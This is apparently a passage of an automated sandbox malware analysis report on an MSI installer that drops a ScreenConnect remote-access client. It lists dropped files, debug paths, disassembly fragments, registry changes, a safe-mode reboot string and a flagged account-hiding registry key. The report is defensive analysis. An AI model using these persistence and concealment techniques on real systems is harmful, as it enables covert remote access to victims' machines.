                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdbU! source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940444279.0000000002100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940588071.0000000002182000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr
                  Source: Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: rundll32.exe, 00000003.00000003.1697090286.000000000487E000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2943982681.000000001B052000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll.3.dr
                  Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000550A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940444279.0000000002100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940588071.0000000002182000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr
                  Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000006.00000000.1723474974.0000000000EAD000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.ClientService.exe.1.dr
                  Source: Binary string: mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000553C000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2945335092.000000001B292000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll.3.dr, ScreenConnect.Windows.dll.1.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb/[ source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2945335092.000000001B292000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll.3.dr, ScreenConnect.Windows.dll.1.dr
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.000000000131B000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: INSPECAO-B01S.msi, MSI15E7.tmp.1.dr, MSI1608.tmp.1.dr, MSI17AE.tmp.1.dr, 4c1434.msi.1.dr, 4c1432.msi.1.dr, 4c1433.rbs.1.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.3.dr
                  Source: Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.3.dr
                  Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: INSPECAO-B01S.msi, MSIBC6.tmp.0.dr, 4c1434.msi.1.dr, 4c1432.msi.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000553C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940504221.0000000002142000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Client.dll.1.dr
                  Source: Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.1.dr
                  Source: ScreenConnect.Client.dll.1.drStatic PE information: 0xFC256B87 [Sun Jan 20 22:19:51 2104 UTC]
                  Source: MSIBC6.tmp.0.drStatic PE information: real checksum: 0x2f213 should be: 0x111c03
                  Source: ScreenConnect.WindowsAuthenticationPackage.dll.1.drStatic PE information: section name: _RDATA
                  Source: ScreenConnect.WindowsCredentialProvider.dll.1.drStatic PE information: section name: _RDATA
                  Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_3_06E38400 push es; ret 3_3_06E38410
                  Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_3_06E329A0 push es; ret 3_3_06E329B0
                  Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_3_06E377E8 push esp; ret 3_3_06E377E9
                  Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_3_06E377EC push esp; ret 3_3_06E377E9
                  Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_3_06E37F3C push es; ret 3_3_06E37F40
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0455C91F push eax; retf 0004h6_2_0455C92A
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0455C90F push eax; retf 0004h6_2_0455C91A
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0455CA1F push ebx; retf 0004h6_2_0455CA3A
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_04556AB5 push esp; iretd 6_2_04556AB9
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572CD50 push eax; mov dword ptr [esp], ecx6_2_0572CD51
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572CD40 push eax; mov dword ptr [esp], ecx6_2_0572CD51
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05725DE8 push eax; mov dword ptr [esp], ecx6_2_05725E11
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572B9D0 push eax; mov dword ptr [esp], ecx6_2_0572B9D1
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572B9C0 push eax; mov dword ptr [esp], ecx6_2_0572B9D1
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05B30F81 pushad ; ret 6_2_05B30F93
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05B30FE0 push esp; ret 6_2_05B30FF3
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05F39061 push 08059E95h; retf 6_2_05F3906D
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05F3BC2A push esp; retf 6_2_05F3BC31
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71C3FB push FFFFFFE8h; ret 7_2_00007FFD9B71C3F9
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71C380 push FFFFFFE8h; ret 7_2_00007FFD9B71C3F9
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7212FB pushad ; retf 7_2_00007FFD9B721319
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B72131C pushad ; retf 7_2_00007FFD9B721319
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7225F2 pushad ; ret 7_2_00007FFD9B722619
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B712960 push 0000003Ch; iretd 7_2_00007FFD9B712964
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7148E8 push eax; retn 9B70h7_2_00007FFD9B714879
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71B8BE push esp; iretd 7_2_00007FFD9B71B8C1
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Windows.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsCredentialProvider.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.InstallerActions.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmpJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsAuthenticationPackage.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Core.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exeJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exeJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.Cab.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI1608.tmpJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI17AE.tmpJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI1608.tmpJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI17AE.tmpJump to dropped file
                  Source: ScreenConnect.ClientService.dll.1.drBinary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\ApplicationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (3a24aebb8959bcfa)Jump to behavior

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Contains functionality to hide user accounts
                  Source: rundll32.exe, 00000003.00000003.1697090286.000000000487E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940444279.0000000002100000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940588071.0000000002182000.00000002.00000001.01000000.0000000B.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2945335092.000000001B292000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                  Source: ScreenConnect.ClientService.dll.1.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
                  Source: ScreenConnect.Windows.dll.3.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                  Source: ScreenConnect.Windows.dll.1.drString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
